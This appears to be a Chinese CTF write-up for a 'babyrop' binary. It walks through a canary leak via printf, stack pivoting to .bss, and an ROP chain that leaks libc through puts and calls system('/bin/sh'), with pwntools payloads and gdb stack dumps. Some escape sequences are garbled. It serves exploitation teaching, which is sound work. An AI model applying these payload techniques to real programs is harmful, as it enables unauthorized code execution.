ROP是一種技巧,我們對(duì)execve函數(shù)進(jìn)行拼湊來進(jìn)行system /bin/sh。棧遷移的特征是溢出0x10個(gè)字符,在本次getshell中,還碰到了如何利用printf函數(shù)來進(jìn)行canary的泄露。
ROP+棧遷移
目標(biāo):

ROP chain

首先我們:
ROPgadget --binary babyrop
bss段地址:
readelf -S babyrop

找到rdi的地址:

我們用ida查看反匯編,圈中的是出錯(cuò)情況下的處置,我們暫時(shí)可以忽略。
我們看到for循環(huán)可以輸入25個(gè)字符,我們先輸入0x18個(gè)字符,也就是24個(gè)字符,然后如果在輸入一個(gè)字符就可以看到printf函數(shù)后面跟著一個(gè)%s,且printf函數(shù)結(jié)束的標(biāo)志是碰到x00,并且canary的的末尾標(biāo)志也是x00。

小端存儲(chǔ),我們首先用24個(gè)字符a對(duì)其他字符空間進(jìn)行填充,然后用字符'y'把canary中的x00進(jìn)行覆蓋,這樣我們就在y這個(gè)點(diǎn)時(shí)進(jìn)行recv,之后就可以泄露canary的內(nèi)容。
具體是這樣的:
canary=u64(io.recv(7).rjust(8,'x00'))
然后再用x00對(duì)其進(jìn)行填充:
此題的第二個(gè)坑點(diǎn)是在password這里,可以看到這里使用scanf函數(shù)來進(jìn)行接受,所以我們只能填寫地址。
可以看到這個(gè)地址存儲(chǔ)password:

我們進(jìn)入vuln函數(shù)進(jìn)行查看:

發(fā)現(xiàn)是可以多讀0x10個(gè)字符的,這就是典型的棧遷移了:
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
gdb.attach(io)
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
gdb.attach(io)
我們?cè)谶@里下三個(gè)斷點(diǎn):
第一個(gè)attach代表的是沒有遷移之前的,
可以看到RBP和RSP的情況,
可以看到現(xiàn)在的RBP已經(jīng)變?yōu)?x601928。
這里插入一下POP的匯編形式:
mov esp,ebp
add $8,esp
首先我們把ebp的值給esp,然后ebp+8,因?yàn)檫@里是64位程序。
這里我們?cè)倏聪乱粋€(gè)attach:

可以看到新棧已經(jīng)建立成功了。
然后就是經(jīng)典的rop了,尋找libc基址:
io.send(p64(canary)+p64(0x601940)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
#p64(0x601940) is fill byte
libc_base=u64(io.recvuntil("x7f")[-6:].ljust(8,"x00"))-libc.sym['puts']
system=libc_base+libc.sym['system']
hh=libc_base+libc.search('/bin/sh').next()
最后我們開始寫利用新棧:
system bin/sh


可以看到我們就拿到shell了。
一點(diǎn)解釋
棧遷移需要注意的點(diǎn)就是:
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601940)+p64(0x40072e))
假如我們棧空間提升0x10:

我們需要先把buf的內(nèi)容填充,然后就到了rsp,pop 指令的意思是把rsp地址的內(nèi)容給rip。


可以看到此時(shí)棧的情況是這樣的:
0x40072e是ret的地址:
0x0000000000400744是返回地址:
0xcd95d1462e82fe00是canary的值
0x601950是填充字
0x400913是rdi的值,也就是exec函數(shù)的的第一個(gè)參數(shù)。
現(xiàn)在的棧空間是這樣的:

然后就開始rop
如果我們直接提升0x20的空間就不會(huì)有這種事情了,我們就可以直接rdi+rop:
io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))
但是這個(gè)rbp和rsp的空間是要試著找的,如果bss段有不能覆蓋的地址,就會(huì)報(bào)錯(cuò)。

io.send('a'*0x18+p64(canary)+p64(0x601928)+p64(0x40072e))
io.send('a'*0x18+p64(canary)+p64(0x601950)+p64(0x40072e))
io.send(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))

這樣也能夠getshell。
另一點(diǎn)解釋
call read@plt之前棧中的情況:

我們s步入,可以發(fā)現(xiàn)rbp和rsp的值已經(jīng)改變了:

0x601930: 0x0000000000400744 0x0000000000000000
0x601940: 0x0000000000000000 0x0000000000000000
0x601950: 0x0000000000000000 0x0000000000000000
0x0000000000400744是執(zhí)行完read函數(shù)要去的地方,也就是nop(這個(gè)是無所謂的)

可以看到在pop 和ret之前rbp和rsp棧空間又發(fā)生了改變,而且此時(shí)rip指向了rdi的地址:

紅色框是棧空間的大小,可以看到此時(shí)存放的兩個(gè)地址的意義是:
p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400717))組成了rop。
下一步我們執(zhí)行pop+ret就跳到了rdi所指在的地方,然后利用rop進(jìn)行system /bin/sh。